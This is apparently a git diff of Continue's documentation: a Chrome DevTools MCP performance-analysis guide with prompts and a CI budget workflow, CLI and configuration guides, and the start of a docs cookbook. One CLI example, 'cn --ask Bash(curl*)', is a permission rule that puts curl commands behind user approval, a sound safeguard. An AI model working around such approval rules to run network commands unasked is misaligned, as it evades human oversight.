+- [Continue CLI](https://docs.continue.dev/guides/cli) (`npm i -g @continuedev/cli`)
+- [Chrome DevTools MCP](https://hub.continue.dev) configured
+
+## Quick Setup
+
+For all options, first:
+
+
+ ```bash
+ npm i -g @continuedev/cli
+ ```
+
+
+
+## Chrome DevTools MCP Workflow Options
+
+
+ Skip the manual setup and use our pre-built Chrome DevTools agent that includes
+ optimized prompts, rules, and the Chrome DevTools MCP for more consistent results.
+
+
+After completing **Quick Setup** above, you have two paths to get started:
+
+
+
+ **Perfect for:** Immediate results with optimized prompts and built-in performance analysis
+
+
+
+ Visit the [Chrome Dev Tools Agent](https://hub.continue.dev/continuedev/chrome-dev-tools-agent) on Continue Hub and click **"Install Agent"** or run:
+
+ ```bash
+ cn --agent continuedev/chrome-dev-tools-agent
+ ```
+
+ This agent includes:
+ - **Optimized prompts** for performance analysis and debugging
+ - **Built-in rules** for consistent formatting and error handling
+ - **[Chrome DevTools MCP](https://hub.continue.dev/google/chrome-devtools-mcp)** for reliable browser automation
+
+
+
+ In the TUI that opens, type:
+ ```
+ Analyze performance of http://localhost:3000 and provide optimization recommendations
+ ```
+
+ That's it! The agent handles Chrome automation automatically.
+
+
+
+
+ **Why Use the Agent?** Results are more consistent and debugging is easier thanks to the Chrome DevTools MCP integration and pre-tested prompts.
+
+
+
+
+
+
+
+ Visit the [Chrome DevTools MCP](https://hub.continue.dev/google/chrome-devtools-mcp) on Continue Hub and add it to your assistant, or add this to your configuration:
+
+ ```yaml
+ name: Chrome DevTools MCP
+ version: 0.0.1
+ schema: v1
+ mcpServers:
+ - name: Chrome DevTools MCP
+ command: npx
+ args:
+ - chrome-devtools-mcp@latest
+ ```
+
+ The MCP will automatically launch Chrome and connect to DevTools when needed.
+
+
+
+ Test the connection:
+
+ **TUI Mode Prompt:**
+ ```
+ Open web.dev and take a screenshot
+ ```
+
+
+
+ Navigate to your project directory:
+
+ **TUI Mode Prompt:**
+ ```
+ Navigate to http://localhost:3000 and record a performance trace. Analyze LCP, FID, and CLS.
+ ```
+
+
+
+
+ **Manual Setup**: While you can configure the MCP manually, the pre-built agent provides optimized prompts and better error handling for performance analysis workflows.
+
+
+
+
+
+ To use the pre-built agent, you need either:
+ - **Continue CLI Pro Plan** with the models add-on, OR
+ - **Your own API keys** added to Continue Hub secrets
+ - **Chrome browser** installed on your system
+ - **Node.js 20+** to run the MCP via npx
+
+ The agent will automatically detect and use your configuration.
+
+
+---
+
+## Performance Measurement Workflows
+
+The Chrome DevTools MCP enables natural language performance analysis. Here are workflows adapted from real-world use cases:
+
+### Quick Performance Checks
+
+
+**TUI Mode Prompt:**
+```
+Verify in the browser that your change works as expected.
+```
+
+
+
+**TUI Mode Prompt:**
+```
+A few images on localhost:8080 are not loading. What's happening?
+```
+
+
+
+**TUI Mode Prompt:**
+```
+Why does submitting the form fail after entering an email address?
+```
+
+
+
+**TUI Mode Prompt:**
+```
+The page on localhost:8080 looks strange and off. Check what's happening there.
+```
+
+
+
+**TUI Mode Prompt:**
+```
+Localhost:8080 is loading slowly. Make it load faster.
+```
+
+
+
+**TUI Mode Prompt:**
+```
+Please check the LCP of web.dev.
+```
+
+
+---
+
+## Performance Analysis Recipes
+
+Now you can use natural language prompts to analyze web performance. The Continue agent automatically calls the appropriate Chrome DevTools MCP tools.
+
+
+ **Where to run these workflows:**
+ - **IDE Extensions**: Use Continue in VS Code, JetBrains, or other supported IDEs
+ - **Terminal (TUI mode)**: Run `cn` to enter interactive mode, then type your prompts
+ - **CLI (headless mode)**: Use `cn -p "your prompt"` for headless commands
+
+ **Test in Plan Mode First**: Before running performance measurements, test your prompts in plan mode (see the [Plan Mode Guide](/guides/plan-mode-guide); press **Shift+Tab** to switch modes). This shows you what the agent will do without executing it.
+
+
+### Step 1: Baseline Performance Trace
+
+Establish your current performance baseline:
+
+**TUI Mode Prompt:**
+```
+Navigate to http://localhost:3000 and record a performance trace with page reload. Analyze the trace and show me the LCP, FID, CLS, and total blocking time.
+```
+
+
+
+
+ Chrome DevTools Performance Panel automatically tracks:
+ - **Core Web Vitals**: LCP, FID, CLS, INP
+ - **Loading Performance**: DOMContentLoaded, Load events, First Paint
+ - **Runtime Performance**: JavaScript execution time, layout shifts, paint events
+ - **Resource Usage**: Memory consumption, CPU utilization
+
+
+
+### Step 2: Analyze Performance Insights
+
+Deep dive into specific performance issues:
+
+**TUI Mode Prompt:**
+```
+Record a performance trace for http://localhost:3000 and analyze all Performance Insights. For each insight found, provide detailed information about:
+- The specific issue (e.g., DocumentLatency, SlowCSS)
+- Root cause analysis
+- Affected resources or code
+- Recommended optimizations
+- Expected impact on Core Web Vitals
+```
+
+
+ **Performance Insights**: Chrome DevTools automatically detects common performance issues like:
+ - **Render Blocking Resources**: CSS and JavaScript that delay first paint
+ - **Layout Shifts**: Elements that move during page load
+ - **Long Tasks**: JavaScript execution blocking the main thread
+ - **Slow Network Requests**: Resources taking too long to load
+ - **Unused CSS/JavaScript**: Dead code increasing bundle size
+
+
+### Step 3: Network Performance Analysis
+
+Identify slow network requests and optimization opportunities:
+
+**TUI Mode Prompt:**
+```
+Navigate to https://my-site.com and:
+1. List all network requests made during page load
+2. Identify the 5 slowest requests and their sizes
+3. Find any requests over 1MB
+4. Detect render-blocking resources
+5. Check for inefficient caching (missing cache headers)
+6. Suggest specific optimizations for each issue found
+```
+
+### Step 4: Throttling Performance Tests
+
+Test performance under real-world network and CPU conditions:
+
+**TUI Mode Prompt:**
+```
+Test my site's performance under different conditions:
+
+1. Navigate to http://localhost:3000
+2. Emulate 4x CPU slowdown and Fast 3G network
+3. Record a performance trace with reload
+4. Analyze LCP and Total Blocking Time
+5. Take a screenshot when page is fully loaded
+
+Then repeat the test with:
+- Slow 3G network + 6x CPU slowdown
+- Offline network (to test service worker)
+
+Compare results and identify which conditions cause the worst performance degradation."
+```
+
+
+ **Available Network Presets**:
+ - No throttling
+ - Fast 3G (1.6 Mbps down, 0.75 Mbps up)
+ - Slow 3G (400 Kbps down, 400 Kbps up)
+ - Offline
+
+ **CPU Throttling**: 4x, 6x, or custom slowdown to simulate low-end devices
+
+
+### Step 5: JavaScript Performance Analysis
+
+Identify expensive JavaScript operations:
+
+**TUI Mode Prompt:**
+```
+Record a performance trace for http://localhost:3000 and:
+1. Identify all long tasks (>50ms) blocking the main thread
+2. Find the specific JavaScript functions causing these tasks
+3. Measure total JavaScript execution time
+4. Detect unused JavaScript being loaded
+5. Show the call stack for the longest task
+6. Recommend code splitting or lazy loading opportunities"
+```
+
+## Automated Performance Monitoring
+
+### Step 6: Core Web Vitals Dashboard
+
+Create automated monitoring for Core Web Vitals:
+
+**TUI Mode Prompt:**
+```
+Create a performance monitoring script that:
+1. Opens my site at http://localhost:3000
+2. Records a performance trace with reload
+3. Extracts Core Web Vitals (LCP, FID, CLS, INP)
+4. Checks console for JavaScript errors
+5. Takes a screenshot
+6. Saves results to performance-report.json with format:
+ {
+ 'timestamp': 'ISO date',
+ 'lcp': number,
+ 'fid': number,
+ 'cls': number,
+ 'inp': number,
+ 'errors': array,
+ 'screenshot': 'path'
+ }
+
+Save this as scripts/performance-monitor.js that I can run regularly"
+```
+
+### Step 7: Visual Regression Detection
+
+Detect unintended visual changes:
+
+**TUI Mode Prompt:**
+```
+Set up visual regression testing:
+1. Navigate to http://localhost:3000
+2. Take full-page screenshots at:
+ - Desktop viewport (1920x1080)
+ - Tablet viewport (768x1024)
+ - Mobile viewport (375x667)
+3. Save screenshots to screenshots/baseline/
+4. Create a script to compare future screenshots against baseline
+5. Highlight any pixel differences over 5%
+6. Generate a visual diff report"
+```
+
+### Step 8: Performance Budget Enforcement
+
+Set and enforce performance budgets:
+
+**TUI Mode Prompt:**
+```
+Create a performance budget checker that:
+
+Requirements:
+- LCP must be < 2.5 seconds
+- FID must be < 100ms
+- CLS must be < 0.1
+- Total JavaScript < 300KB
+- Total page size < 1MB
+- No console errors
+
+Implementation:
+1. Navigate to http://localhost:3000
+2. Record performance trace with reload
+3. List all network requests and calculate total sizes
+4. Check console messages for errors
+5. Validate all metrics against budgets
+6. Exit with code 1 if any budget is exceeded
+7. Generate a detailed report showing pass/fail for each metric
+
+Save as scripts/performance-budget.js for CI/CD integration"
+```
+
+## Continuous Performance Testing with GitHub Actions
+
+This example demonstrates a **Continuous AI workflow** where performance validation runs automatically in your CI/CD pipeline using Chrome DevTools MCP in headless mode.
+
+### Add GitHub Secrets
+
+Navigate to **Repository Settings → Secrets and variables → Actions** and add:
+
+- `CONTINUE_API_KEY`: Your Continue API key from [hub.continue.dev/settings/api-keys](https://hub.continue.dev/settings/api-keys)
+
+### Create Workflow File
+
+This workflow automatically validates web performance on pull requests using the Continue CLI in headless mode. It records performance traces, extracts Core Web Vitals, and posts a summary report as a PR comment.
+
+Create `.github/workflows/performance-check.yml` in your repository:
+
+```yaml
+name: Performance Check
+
+on:
+ pull_request:
+
+jobs:
+ performance:
+ runs-on: ubuntu-latest
+ steps:
+ - uses: actions/checkout@v4
+ - uses: actions/setup-node@v4
+ with:
+ node-version: "20"
+
+ - name: Install Dependencies
+ run: |
+ npm install -g @continuedev/cli
+ npm ci
+
+ - name: Build Project
+ run: npm run build
+
+ - name: Start Dev Server
+ run: |
+ npm run dev &
+ npx wait-on http://localhost:3000
+
+ - name: Run Performance Tests
+ env:
+ CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }}
+ run: |
+ cn --agent continuedev/chrome-dev-tools-agent \
+ -p "Navigate to http://localhost:3000 and:
+ 1. Record performance trace with reload
+ 2. Extract LCP, FID, CLS values
+ 3. List network requests and calculate total bundle size
+ 4. Output results as JSON to performance.json" \
+ --auto
+
+ - name: Check Performance Budgets
+ run: |
+ node << 'EOF'
+ const fs = require('fs');
+ const perf = JSON.parse(fs.readFileSync('performance.json'));
+
+ const budgets = {
+ lcp: 2.5,
+ fid: 100,
+ cls: 0.1,
+ bundleSize: 300000
+ };
+
+ let failed = false;
+ const results = [];
+
+ if (perf.lcp > budgets.lcp) {
+ results.push(`❌ LCP: ${perf.lcp}s (budget: ${budgets.lcp}s)`);
+ failed = true;
+ } else {
+ results.push(`✅ LCP: ${perf.lcp}s`);
+ }
+
+ if (perf.fid > budgets.fid) {
+ results.push(`❌ FID: ${perf.fid}ms (budget: ${budgets.fid}ms)`);
+ failed = true;
+ } else {
+ results.push(`✅ FID: ${perf.fid}ms`);
+ }
+
+ if (perf.cls > budgets.cls) {
+ results.push(`❌ CLS: ${perf.cls} (budget: ${budgets.cls})`);
+ failed = true;
+ } else {
+ results.push(`✅ CLS: ${perf.cls}`);
+ }
+
+ if (perf.bundleSize > budgets.bundleSize) {
+ results.push(`❌ Bundle: ${perf.bundleSize}KB (budget: ${budgets.bundleSize}KB)`);
+ failed = true;
+ } else {
+ results.push(`✅ Bundle: ${perf.bundleSize}KB`);
+ }
+
+ console.log(results.join('\n'));
+
+ if (failed) {
+ process.exit(1);
+ }
+ EOF
+
+ - name: Comment Performance Results
+ if: always()
+ uses: actions/github-script@v7
+ with:
+ script: |
+ const fs = require('fs');
+ const perf = JSON.parse(fs.readFileSync('performance.json'));
+
+ const comment = `## 📊 Performance Report
+
+ | Metric | Value | Budget | Status |
+ |--------|-------|--------|--------|
+ | LCP | ${perf.lcp}s | 2.5s | ${perf.lcp <= 2.5 ? '✅' : '❌'} |
+ | FID | ${perf.fid}ms | 100ms | ${perf.fid <= 100 ? '✅' : '❌'} |
+ | CLS | ${perf.cls} | 0.1 | ${perf.cls <= 0.1 ? '✅' : '❌'} |
+ | Bundle Size | ${perf.bundleSize}KB | 300KB | ${perf.bundleSize <= 300 ? '✅' : '❌'} |
+
+ ${perf.lcp > 2.5 || perf.fid > 100 || perf.cls > 0.1 || perf.bundleSize > 300
+ ? '⚠️ **Performance budgets exceeded. Please optimize before merging.**'
+ : '✅ **All performance budgets met!**'}`;
+
+ github.rest.issues.createComment({
+ issue_number: context.issue.number,
+ owner: context.repo.owner,
+ repo: context.repo.repo,
+ body: comment
+ });
+```
+
+
+ The Chrome DevTools MCP works in headless Chrome environments. Make sure your CI environment has Chrome installed (it's pre-installed on GitHub Actions ubuntu-latest runners).
+
+
+## Advanced Performance Workflows
+
+### Step 9: Competitor Comparison
+
+Compare your site's performance with competitors:
+
+**TUI Mode Prompt:**
+```
+Compare performance between my site and competitors:
+
+Sites to test:
+- http://localhost:3000 (my site)
+- https://competitor1.com
+- https://competitor2.com
+
+For each site:
+1. Navigate to homepage
+2. Record performance trace with reload
+3. Extract LCP, FID, CLS, Total Blocking Time
+4. List network requests and calculate total page size
+5. Count JavaScript and CSS files
+
+Create a comparison table showing:
+- Site name
+- All Core Web Vitals
+- Total page size
+- Number of requests
+- Which site performs best for each metric
+
+Provide specific recommendations for how my site can improve based on what competitors do better."
+```
+
+### Step 10: Performance Testing Across Routes
+
+Test performance consistency across your entire site:
+
+**TUI Mode Prompt:**
+```
+Test performance across all major routes:
+
+Routes to test:
+- / (homepage)
+- /products
+- /products/[id] (pick a sample product)
+- /checkout
+- /blog
+
+For each route:
+1. Navigate to the URL
+2. Record performance trace
+3. Extract LCP, Total Blocking Time, bundle size
+4. Check console for errors
+5. Take a screenshot
+
+Generate a report showing:
+- Which routes have the worst LCP
+- Routes with the most JavaScript errors
+- Bundle size variations across routes
+- Recommendations for route-specific optimizations"
+```
+
+### Step 11: Mobile Performance Analysis
+
+Focus on mobile-specific performance issues:
+
+**TUI Mode Prompt:**
+```
+Analyze mobile performance for http://localhost:3000:
+
+1. Resize viewport to mobile (375x667)
+2. Emulate Slow 3G network + 4x CPU slowdown
+3. Record performance trace with reload
+4. Analyze Performance Insights for mobile-specific issues
+5. Check for:
+ - Touch target sizes too small
+ - Horizontal scrolling issues
+ - Oversized images not optimized for mobile
+ - Excessive JavaScript on mobile
+6. Take mobile screenshot
+7. Provide mobile-specific optimization recommendations"
+```
+
+## Performance Troubleshooting
+
+### Debug Performance Regressions
+
+Quickly identify what caused a performance regression:
+
+**TUI Mode Prompt:**
+```
+Debug performance regression on http://localhost:3000:
+
+1. Record performance trace
+2. Analyze all Performance Insights
+3. List console errors and warnings
+4. Check network requests for:
+ - Failed requests
+ - Slow requests (>1s)
+ - Large requests (>500KB)
+5. Identify the top 3 performance bottlenecks
+6. For each bottleneck, suggest:
+ - Root cause
+ - Specific code or resource causing it
+ - Step-by-step fix
+ - Expected performance improvement"
+```
+
+### Performance Issue Quick Reference
+
+| Issue | Quick Fix Command (in cn TUI) |
+| :---- | :---------------------------- |
+| Slow LCP | `"Find render-blocking resources and suggest preloading or deferring"` |
+| High CLS | `"Detect layout shifts and identify unsized images or dynamic content"` |
+| Long Tasks | `"Find JavaScript tasks over 50ms and suggest code splitting"` |
+| Large Bundles | `"List all JavaScript files, identify largest ones, suggest lazy loading"` |
+| Slow Network | `"Find requests over 500KB and suggest compression or optimization"` |
+| Console Errors | `"List all console errors and suggest fixes"` |
+
+## What You've Built
+
+After completing this guide, you have a complete **AI-powered performance analysis system** that:
+
+- ✅ **Uses natural language** — Simple prompts instead of complex DevTools commands
+- ✅ **Analyzes automatically** — AI interprets performance traces and suggests fixes
+- ✅ **Runs continuously** — Automated validation in CI/CD pipelines
+- ✅ **Ensures quality** — Performance checks prevent regressions from shipping
+
+
+ Your performance workflow now operates at **[Level 2 Continuous AI](https://blog.continue.dev/what-is-continuous-ai-a-developers-guide/)** - AI handles routine performance analysis and debugging with human oversight through review and approval of changes.
+
+
+## Chrome DevTools MCP Capabilities
+
+
+
+
+ **Tools Available**
+ - `performance_start_trace`: Start recording with auto-reload
+ - `performance_stop_trace`: Stop and analyze trace
+ - `performance_analyze_insight`: Deep dive into specific issues
+
+
+
+
+
+ **Tools Available**
+ - `list_network_requests`: See all requests and sizes
+ - `get_network_request`: Inspect specific request details
+ - `emulate_network`: Test under various network conditions
+
+
+
+
+
+ **Tools Available**
+ - `list_console_messages`: Get all console logs and errors
+ - `evaluate_script`: Run JavaScript in page context
+ - Automatic error pattern detection
+
+
+
+
+
+ **Tools Available**
+ - `take_screenshot`: Capture full or partial page
+ - `take_snapshot`: Get accessibility tree snapshot
+ - `resize_page`: Test responsive layouts
+
+
+
+
+## Performance Best Practices
+
+Key metrics to monitor for optimal web performance:
+
+
+
+ - LCP < 2.5s (good)
+ - FID < 100ms (good)
+ - CLS < 0.1 (good)
+ - INP < 200ms (good)
+
+
+
+ - Total page size < 1MB
+ - JavaScript < 300KB
+ - Time to Interactive < 3.8s
+ - First Contentful Paint < 1.8s
+
+
+
+ - No long tasks > 50ms
+ - 60 FPS during interactions
+ - No memory leaks
+ - Efficient event listeners
+
+
+
+## Advanced Testing Scenarios
+
+### A/B Test Performance Impact
+
+**TUI Mode Prompt:**
+```
+Compare performance of two implementations:
+1. Test variant A at http://localhost:3000?variant=A
+2. Test variant B at http://localhost:3000?variant=B
+Run each test 5 times and calculate average LCP, FID, CLS
+Determine which variant has better performance and by how much
+```
+
+### Lighthouse Score Tracking
+
+**TUI Mode Prompt:**
+```
+Create a script that runs daily performance audits:
+1. Navigate to production site
+2. Record performance trace
+3. Calculate Lighthouse-style performance score based on:
+ - FCP (10%)
+ - SI (10%)
+ - LCP (25%)
+ - TTI (10%)
+ - TBT (30%)
+ - CLS (15%)
+4. Track score over time in performance-history.json
+5. Alert if score drops below 90
+```
+
+### Performance Regression Detection
+
+**TUI Mode Prompt:**
+```
+Set up automated regression detection:
+1. Record baseline performance for main branch
+2. Save baseline metrics to baseline-perf.json
+3. On each PR, run performance tests
+4. Compare PR metrics with baseline
+5. Flag regressions over 10% for any metric
+6. Generate visual diff report with screenshots
+```
+
+## Next Steps
+
+1. **Analyze your first site** - Try the baseline performance trace on your current project
+2. **Debug bottlenecks** - Use the network analysis prompt to fix slow requests
+3. **Set up CI pipeline** - Add the GitHub Actions workflow to your repo
+4. **Test throttling** - Measure performance under real-world network conditions
+5. **Monitor trends** - Track Core Web Vitals over time
+
+## Additional Resources
+
+
+
+ Official Chrome DevTools MCP repository
+
+
+ Explore more MCP integrations
+
+
+ Complete Chrome DevTools documentation
+
+
+ Learn about Core Web Vitals
+
+
diff --git a/docs/guides/cli.mdx b/docs/guides/cli.mdx
index 069bf640a..ac54e632f 100644
--- a/docs/guides/cli.mdx
+++ b/docs/guides/cli.mdx
@@ -4,8 +4,6 @@ sidebarTitle: "Continue CLI (cn)"
description: "Learn how to use Continue's command-line interface for context engineering, automated coding tasks, and headless development workflows with customizable models, rules, and tools"
---
-Continue CLI (cn) is currently in Beta
-
`cn` is an open-source, modular coding agent for the command line.
It provides a battle-tested agent loop so you can simply plug in your model, rules, and tools.
@@ -87,6 +85,12 @@ cn --ask Bash(curl*)
cn --exclude Fetch
```
+## API Key Authentication
+
+For automation in CI or other headless environments, you can use an API key to authenticate with Continue. First, obtain your personal API key [here](https://hub.continue.dev/settings/api-keys). Then, set it as the `CONTINUE_API_KEY` environment variable. You can now use `cn -p` (headless mode) without needing to log in.
+
+If you wish to run an automation on behalf of your organization you can obtain an organization-scoped API key by going to [your organization's settings](https://hub.continue.dev/settings/organizations) -> API Keys.
+
## Troubleshooting
Run `cn` with the `--verbose` flag to see more detailed logs. These will be output to `~/.continue/logs/cn.log`.
diff --git a/docs/guides/codebase-documentation-awareness.mdx b/docs/guides/codebase-documentation-awareness.mdx
index d061bce98..609970263 100644
--- a/docs/guides/codebase-documentation-awareness.mdx
+++ b/docs/guides/codebase-documentation-awareness.mdx
@@ -1,19 +1,19 @@
---
-title: How to Make Your Agent Aware of Codebases and Documentation
-description: Learn how to give your AI agent access to codebases and documentation for more context-aware assistance
+title: How to Make Agent mode Aware of Codebases and Documentation
+description: Learn how to give your Agent mode access to codebases and documentation for more context-aware assistance
keywords: [agent, codebase, documentation, MCP, context, RAG, tools]
sidebarTitle: Codebase and Documentation Awareness
---
-AI coding agents work best when they understand the context of your project. This guide shows you how to give your agent access to codebases and documentation, making it more helpful and accurate.
+Agent mode works best when it understands the context of your project. This guide shows you how to give agent mode access to codebases and documentation, making it more helpful and accurate.
-## Make your agent aware of your open codebase
+## Make agent mode aware of your open codebase
-When your agent understands your current codebase, it can provide more relevant suggestions and answers.
+When agent mode understands your current codebase, it can provide more relevant suggestions and answers.
-### Let your agent explore the codebase using tools
+### Let agent mode explore the codebase using tools
-Your agent can use built-in tools to navigate and understand your code:
+Agent mode can use built-in tools to navigate and understand your code:
1. **File exploration tools**: The agent can read files, search for patterns, and understand project structure
2. **Code search**: Use search to find relevant code snippets
@@ -21,7 +21,7 @@ Your agent can use built-in tools to navigate and understand your code:
### Create rules to help the agent understand your codebase
-Rules guide your agent's behavior and understanding. Place markdown files in `.continue/rules` in your project to provide context:
+Rules guide agent mode's behavior and understanding. Place markdown files in `.continue/rules` in your project to provide context:
```markdown
# Project Architecture
@@ -46,9 +46,9 @@ This is a React application with:
Learn more about [rules configuration](/customize/deep-dives/rules).
-## Make your agent aware of other codebases
+## Make agent mode aware of other codebases
-Sometimes you need your agent to understand code beyond your current project.
+Sometimes you need agent mode to understand code beyond your current project.
### Public codebases
@@ -71,7 +71,7 @@ When implementing auth features, reference these patterns.
#### GitHub and GitLab CLIs
-Enable `gh` or `glab` CLI access for your agent to interact with repositories.
+Enable `gh` or `glab` CLI access for agent mode to interact with repositories.
Add rules to guide CLI usage:
@@ -87,9 +87,9 @@ You can use the `gh` CLI to:
#### DeepWiki MCP
-[DeepWiki MCP](https://hub.continue.dev/deepwiki/deepwiki-mcp) lets your agent explore any public GitHub repository.
+[DeepWiki MCP](https://hub.continue.dev/deepwiki/deepwiki-mcp) lets agent mode explore any public GitHub repository.
-Once configured, your agent can explore repositories like:
+Once configured, agent mode can explore repositories like:
- "Explore the React repository structure"
- "Find how authentication is implemented in NextAuth.js"
@@ -106,15 +106,15 @@ Create an MCP server that has access to your internal repositories.
For faster retrieval and lower costs with very large internal codebases, consider implementing a [custom code RAG](/guides/custom-code-rag) system. This is an advanced approach that requires more setup but can provide performance benefits at scale.
-## Make your agent aware of relevant documentation
+## Make agent mode aware of relevant documentation
-Documentation provides crucial context for your agent to understand APIs, frameworks, and best practices.
+Documentation provides crucial context for agent mode to understand APIs, frameworks, and best practices.
### Public documentation
#### Rules with documentation links
-Guide your agent to relevant documentation:
+Guide agent mode to relevant documentation:
```markdown
# Documentation Resources
@@ -130,9 +130,9 @@ Always cite documentation when explaining concepts.
#### Context7 MCP
-[Context7 MCP](https://hub.continue.dev/upstash/context7-mcp) enables your agent to search and retrieve information from public documentation:
+[Context7 MCP](https://hub.continue.dev/upstash/context7-mcp) enables agent mode to search and retrieve information from public documentation:
-Your agent can then answer questions like:
+Agent mode can then answer questions like:
- "How do I use React hooks?"
- "What's the syntax for Tailwind CSS animations?"
@@ -169,7 +169,7 @@ If you were previously using the `@Codebase` or `@Docs` context providers, here'
The `@Codebase` context provider has been deprecated. Instead:
-1. **Use built-in tools**: Your agent can now use file exploration and search tools to understand your codebase
+1. **Use built-in tools**: Agent mode can now use file exploration and search tools to understand your codebase
2. **Add rules**: Create `.continue/rules` files to provide context about your project structure
3. **Use MCP servers**: For external codebases, use DeepWiki MCP or custom MCP servers
@@ -181,10 +181,10 @@ The `@Docs` context provider has been deprecated. Instead:
2. **Add documentation links in rules**: Create rules that reference documentation URLs
3. **Use custom MCP servers**: For internal documentation, create an MCP server with access to your docs
-The new approach provides better integration with Continue's Agent features and more intelligent context selection.
+The new approach provides better integration with Continue's Agent mode features and more intelligent context selection.
## Next steps
- Learn more about [MCP servers](/reference/continue-mcp)
- Explore [rules configuration](/customize/deep-dives/rules)
-- Set up [custom assistants](/guides/understanding-assistants) with specific knowledge domains
+ - Set up [other custom configurations](/guides/understanding-configs) with specific knowledge domains
diff --git a/docs/guides/configuring-models-rules-tools.mdx b/docs/guides/configuring-models-rules-tools.mdx
new file mode 100644
index 000000000..76d69e304
--- /dev/null
+++ b/docs/guides/configuring-models-rules-tools.mdx
@@ -0,0 +1,181 @@
+---
+title: "Configuring Models, Rules, and Tools"
+description: "Learn how to work with Continue's configuration system. Understand how to use hub models, rules, and tools, create local configurations, and organize your setup for maximum reusability."
+---
+
+## What Are Models, Rules, and Tools?
+
+Continue configs are built from three main types of configuration:
+
+
+
+Language models that power different capabilities like chat, autocomplete, and agent mode
+
+
+
+ Guidelines and instructions that shape how the AI behaves and responds
+
+
+
+MCP tools that provide additional capabilities like database access, web search, or custom functions
+
+
+
+There are two places where you can define these configurations:
+
+
+
+Custom configurations you create and manage in your workspace or globally
+
+
+
+Pre-built models, rules, and tools from the Continue community that you can import and use immediately
+
+
+
+## Local
+
+Local configurations let you create custom models, rules, and tools that automatically apply to multiple configs, reducing duplication and ensuring consistency across your setup.
+
+
+
+Applied to all configs across all workspaces. Ideal for personal preferences, universal coding standards, or tools you use everywhere.
+
+
+Applied automatically to all configs when working in a specific project.
+
+Perfect for project-specific setups like TypeScript rules for web apps or the Playwright MCP tool.
+
+
+
+
+
+## Hub
+
+Continue hub uses a slug in the format of `owner/item-name` to resolve blocks.
+
+For example, to use the [Claude 4 Sonnet model](https://hub.continue.dev/anthropic/claude-4-sonnet), you'd reference it as `anthropic/claude-4-sonnet`.
+
+Import from the hub using the `uses` syntax alongside your custom configurations:
+
+```yaml config.yaml highlight={6}
+name: Team Config
+version: 1.0.0
+schema: v1
+
+models:
+ - uses: anthropic/claude-4-sonnet
+ with:
+ ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }} # Use a hub secret
+```
+
+### Organization
+
+Organize your local configurations using these directories:
+
+
+
+ `.continue/models`
+
+
+
+ `.continue/rules`
+
+
+
+ `.continue/mcpServers`
+
+
+
+## Working with Secrets
+
+Models, and many MCP servers, require a secret for things like API keys.
+
+On the hub, you can configure secrets when adding a model or MCP server.
+
+This will use mustache notation to pass the secret, eg `${{ secrets.SECRET_NAME }}`
+
+When configuring a local model or MCP server, you can use the same mustache notation for secrets which read from:
+
+
+
+`.env` file in `~/.continue/.env`
+
+
+
+`.env` file at your project root
+
+
+
+
+**When to use `secrets.` vs `inputs.`**
+
+For most use cases, **use `${{ secrets.SECRET_NAME }}`** directly in your configuration. This is the recommended approach for both personal and organizational workflows.
+
+Use `${{ inputs.INPUT_NAME }}` only when you need flexibility to:
+- Allow users to customize which secret a block uses without editing the block itself
+- Change the secret name without modifying the block configuration
+- Create reusable blocks where different users may have differently-named secrets
+
+This pattern is inspired by GitHub Actions, where inputs provide an abstraction layer between block definitions and user-specific values. For most scenarios, directly referencing `secrets.` keeps configuration simpler and more straightforward.
+
+
+## Overriding Properties
+
+You can directly override properties using the `override` syntax:
+
+```yaml title="config.yaml" highlight={10-13}
+name: myprofile/custom-config
+version: 1.0.0
+schema: v1
+
+models:
+ - uses: myprofile/custom-model
+ with:
+ ANTHROPIC_API_KEY: ${{ secrets.MY_ANTHROPIC_API_KEY }}
+ TEMP: 0.9
+ override:
+ roles:
+ - chat
+```
+
+## Advanced
+
+### Inputs
+
+Models and MCP server authors can configure inputs that require the user to provide a secret value by defining a `${{ inputs.SECRET_NAME }}` value.
+
+For example, here is how you could require that the user provide a value for the `apiKey` property on a model:
+
+```yaml title="config.yaml" highlight={8}
+name: myprofile/custom-model
+version: 1.0.0
+schema: v1
+
+models:
+ - name: My Favorite Model
+ # ... other model properties ...
+ apiKey: ${{ inputs.SECRET_NAME }}
+```
+
+Users then map their secret to this input using a `${{ secrets.SECRET_NAME }}` value that maps to a property name which matches the required input, e.g. `SECRET_NAME`.
+
+```yaml title="config.yaml" highlight={8}
+name: myprofile/custom-config
+version: 1.0.0
+schema: v1
+
+models:
+ - uses: myprofile/custom-model
+ with:
+ SECRET_NAME: ${{ secrets.SECRET_NAME }}
+```
+
+## Next Steps
+
+Now that you understand how models, rules, and tools work, explore:
+
+- **[Config Reference](/reference)**: Detailed documentation of all available properties
+- **[Continue Hub](https://hub.continue.dev)**: Browse community models, rules, and tools
+- **[Custom Context Providers](/customize/deep-dives/custom-providers)**: Create advanced context integrations
+- **[Model Roles](/customize/model-roles/intro)**: Understanding how different models work together
diff --git a/docs/guides/continue-docs-mcp-cookbook.mdx b/docs/guides/continue-docs-mcp-cookbook.mdx
new file mode 100644
index 000000000..e3218c605
--- /dev/null
+++ b/docs/guides/continue-docs-mcp-cookbook.mdx
@@ -0,0 +1,542 @@
+---
+title: "Contributing to Continue with Model Context Protocol (MCP)"
+description: "Use the Continue Docs MCP to write cookbooks, guides, and documentation with AI-powered workflows."
+sidebarTitle: "Continue Docs MCP Cookbook"
+---
+
+
+ Master using the Continue Docs MCP to contribute documentation, create cookbooks, and maintain consistency across Continue's docs - all through natural language prompts.
+
+
+## Prerequisites
+
+Before starting, ensure you have:
+
+- Continue account with **Hub access**
+- Read: [Contributing to Continue Documentation](/CONTRIBUTING) for setup instructions
+- Forked the [continuedev/continue](https://github.com/continuedev/continue) repository
+- Node.js 20+ and Continue CLI installed
+
+
+ This cookbook assumes you've read the setup in the [CONTRIBUTING guide](/CONTRIBUTING). If you haven't, start there first.
+
+
+## Continue Docs MCP Setup
+
+
+ Use the pre-built [Docs Assistant - Mintlify agent](https://hub.continue.dev/continuedev/docs-mintlify) that includes the Continue Docs MCP and is ready to use immediately.
+
+
+
+
+ ```bash
+ # From your Continue docs directory
+ cn --config continuedev/docs-mintlify
+ ```
+
+ This agent includes:
+ - **Continue Docs MCP** for searching Continue documentation
+ - **Mintlify formatting rules** for proper component usage
+ - **Documentation-focused prompts** for common tasks
+
+
+
+ If you want to customize, create your own agent and add:
+ 1. [Continue Docs MCP](https://hub.continue.dev/continuedev/continue-docs-mcp)
+ 2. [Mintlify Technical Writing Rule](https://hub.continue.dev/mintlify/technical-writing-rule)
+
